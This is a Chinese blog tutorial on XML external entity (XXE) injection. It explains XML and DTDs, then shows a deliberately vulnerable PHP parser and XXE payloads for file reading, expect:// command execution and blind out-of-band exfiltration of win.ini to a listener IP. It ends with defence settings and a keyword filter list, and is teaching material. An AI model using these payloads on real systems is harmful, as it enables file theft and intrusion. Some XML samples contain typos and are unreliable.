XXE 学习

目录

XXE 是什么

XML介绍

XML文档的构建模块

DTD

实体引用

内部声明实体

DTD的引用方式

XML 实体

字符实体

命名实体

参数实体

内部实体注入

外部实体注入(XXE)

方式一:

方式二:

 XXE危害

1.读取任意文件

2.执行系统命令

3.探测内网窗口

4.内网探测/ssrf

XXE无回显的利用

XXE 的防御        

方案一

方案二


XXE 是什么

        XXE(XML External Entity Injection),即 XML 外部实体注入。

        当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

XML介绍

        XML 指可扩展标记语言(Extensible Markup Language)。

        XML 是设计宗旨是传输数据,而不是显示数据。

        XML 是 W3C 的推荐标准

        XML 不会做任何事情。XML 被设计用来结构化,存储及传输信息。

        XML 语言么没有预定义的标签。

XML语法基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>   <!-- XML文件的声明 -->
<bookstore>                                                <!-- 根元素 -->
    <book catengory="Cooking">                             <!--  bookstore的子元素,catengory为属性 -->
    <title> Everyday italian </title>                      <!-- book的子元素 -->    
    <author> GIAda De Laurentiis </author>                 <!-- book的子元素 -->
    <year> 2021 </year>                                    <!-- book的子元素 -->
    <price> 50.00 </price>                                 <!-- book的子元素 -->
    </book>                                                <!--  book的结束 -->
</bookstore>                                               <!--  bookstore的结束 -->

        所有的 XML 元素都需要关闭标签

        XML 标签对大小写敏感

        XML 必须正确的嵌套

        XML 文档必须有且只有一个根元素

        XML 的属性值必须加引号

        可以将多个字符放入 <![CDATA[内容]]> 进行转义

XML 标准格式

<?xml version="1.0" encoding="UTF-8 ?>  <!-- XML声明 -->

<!-- 文档类型定义 -->        
<!DOCTYPE note[
    <! ELEMENT note (to,from,heading,body))>
    <! ELEMENT to (#PCDATA))>
    <! ELEMENT from (#PCDATA))>
    <! ELEMENT heading (#PCDATA))>
    <! ELEMENT body (#PCDATA))>
]>
   

<!--  文档元素 -->     
<note>
    <to> George </to>
    <from> John </from>
    <heading> Reminder </heading>
    <body> Don't forget the meeting ! </body>
</note>

XML文档的构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

        1.元素

        元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。

        2.属性

        属性可提供有关元素的额外信息

        3.实体

        实体是用来定义普通文本的变量。实体引用是对实体的引用。

       4. PCDATA

        PCDATA 的意思是被解析的字符数据(parsed character data)。
        PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

        5.CDATA

        CDATA指的是不应由 XML 解析器进行解析的文本数据(unparesed Character Data)

        在 XML 元素中,"<" (新元素的开始) 和 "&" (字符实体的开始)是非法的。

        某些文本,如JavaScript代码,包含大量 "<" 或 "&" 字符。为例避免错误,可以将脚本代码定义为 CDATA。

        CDATA 部分在的所有内容都会被解析器忽略。

        CDATA 部分由 "<![CDATA["开始,由"]]>" 结束。

DTD

        XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD (document type definition)的东西控制的。

        DTD 用来为 XML 文档定义语义约束。可以嵌套在 XML 文档中(内部声明),也可以独立放在另一个单独的文件中(外部引用)。是 XML 文档的几条1语句,用来说明哪些元素/属性是合法的,以及元素件应该怎么嵌套/组合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用

XML元素,例如<tag>hello</tag>,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况1,XML 用实体引用(entity reference) 替换特殊字符。XML 预定义五个实体引用。

预定义字符转义后的预定义字符
<&lt;
>&gt;
&&amp;
'&apos;
"&quot;

        实体引用可以起到类似宏定义和文件包含的效果,为例方便,我们会希望自定义实体引用,这个操作在 DTD 的过程中进行。

内部声明实体

DTD 实体是用于定义普通文本或特殊字符的快捷方式的变量,可以内部声明或外部声明。

内部实体声明:<!ENTITY 实体名称 "实体的值">

        注:一个实体有三部分组成( 1.一个&,2.一个实体名称,3.一个;)

DTD的引用方式

        内部DTD      

                使用内部的 DTD 文件,就是将规则定义在 XML 文件中。



<?xml version="1.0" encoding="UTF-8 ?>                  <!-- XML声明 -->

 
<!DOCTYPE note[                                         <!-- 定义此文档是 note 类型 -->
    <!ELEMENT note (to,from,heading,body))>             <!-- 定义to 元素为 PCDATA 类型-->
    <!ELEMENT to (#PCDATA))>
    <!ELEMENT from (#PCDATA))>
    <!ELEMENT heading (#PCDATA))>
    <!ELEMENT body (#PCDATA))>
]>
   
  
<note>
    <to> George </to>
    <from> John </from>
    <heading> Reminder </heading>
    <body> Don't forget the meeting ! </body>
</note>

        外部DTD

                引入人外部的 DTD 文件

引用外部的 DTD 文件:<!DOCTYPE 根元素名称 SYSTEM "DTD路径">

引用外部的 DTD 文件(网络上的 DTD 文件):<!DOCTYPE 根元素名称 PUBLIC "DTD文档的URL">

当使用外部 DTD 时,使用引入语法:<!DOCTYPE root-element SYSTEM "filename">

XML 实体

        XML 中的实体分为以下五种:字符实体,命名实体,外部实体,内部实体,参数实体。普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM 关键字,其内容是 URL 指向的外部文件的实际内容。如果不加 SYSTEM 关键字,则为内部实体,表示实体代指内容为字符串。

字符实体

预定义字符转义后的预定义字符
<&lt;
>&gt;
&&amp;
'&apos;
"&quot;

命名实体

        也称为内部实体,在 DTD 或内部子集(及文档中<!DOCTYPE>语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由他的表示代替。

<?xml version="1.0" encoding="UTF-8" ?>
        
        <!DOCTYPE ANY[
        <!ENTITY xxe SYSTEM "file:///C://test/1.txt" >
        ]>

        <value>&xxe;</value>

参数实体

        参数实体只是用于 DTD 和文档的内部子集中,XML 的规范定义在,只有在 DTD 中才能引用参数实体,参数实体的声明和引用都是以 %,并且参数实体的引用在 DTD 是理解解析的,替换文本将标称 DTD 的一部分。该类型的实体用 % 字符(或十六进制编码的%)声明,并且仅在经解析验证后才用于替换 DTD 中的文本或其他内容。

<?xml version="1.0" encoding="UTF-8" ?>
        
        <!DOCTYPE ANTHER [
            <!ENTITY % first "hello" >
            <!Entity % second "&first;_world">
                
        %second;
                ]>

内部实体注入

<?php

    libxml_disable_entity_loader(false);            //禁用实体加载器
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);    //导入字符长,生成XML对象
    $creds = simplexml_import_dom($dom);
    echo $creds;

外部实体注入(XXE)

XML.php 文件

<?php

    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;

方式一:

直接通过DTD外部实体声明

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "file:///C:/Test/test.txt" > ]>
<creds>&goodies;</creds>

方式二:

通过DTD文档引入外部DTD文档,再引入外部实体声明

DTD.dtd 文件

<!ENTITY goodies SYSTEM "file:///C:/Test/test.txt">
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test SYSTEM "http://192.168.11.135/Test/DTD.dtd">
<creds>&goodies;</creds>

 XXE危害

1.读取任意文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "file:///文件路径" > ]>
<creds>&goodies;</creds>

2.执行系统命令

注:需要 PHP 开 expect 扩展

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "expect://whoami" > ]>
<creds>&goodies;</creds>

3.探测内网窗口

4.内网探测/ssrf

        可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

XXE无回显的利用

发送给漏洞服务器的包

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY[
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/win.ini">
        <!ENTITY % dtd SYSTEM "http://www.localhost.com/Test/DTD.dtd">
        %dtd;
        %send;
        ]>

使用外部实体来包含要读取的 C:/Windows/win.ini 文件内容

使用外部实体读取对应网址下的 dtd 文件,并执行
DTD.dtd 文件内容

<!ENTITY % all
        "<!ENTITY &#x25; send SYSTEM 'http://192.168.11.130:1234/?%file;'>"
        >
%all;


将读取到的文件内容发送给
192.168.11.130:1234 :监听主机对应的IP及端口

在监听主机上监听指定端口(nc -vnlp 1234)

 

XXE 的防御        

方案一

         使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(?);  // ?:true为禁用,false为启用


JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二

        过滤用户提交的XML数据

        关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。        

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentesterLab XXE是一个关于XML注入(XXE)的培训平台,它提供了关于XXE漏洞的理论知识和实际演练。XXE漏洞是一种安全漏洞,利用XML解析器对外部实体的处理不当,使攻击者能够读取本地文件、执行远程请求等。通过学习和实践,可以帮助开发人员和安全专家了解并防范XXE漏洞的风险。在PentesterLab XXE的课程中,可以学习XXE漏洞的原理、漏洞代码编写、利用任意文件读取等技术,以及防御XXE漏洞的策略。对于防御XXE漏洞,可以采取禁用外部实体加载的方法,如在PHP中使用libxml_disable_entity_loader(true),在Java中使用setExpandEntityReferences(false),在Python中使用etree.XMLParser(resolve_entities=False)等。此外,对用户提交的XML数据进行过滤,过滤掉可能存在XXE漏洞的关键词,如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等。通过学习和实践,可以提高对XXE漏洞的识别能力和防御能力。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [XML 外部实体注入---XXE](https://blog.csdn.net/weixin_45677145/article/details/111638708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值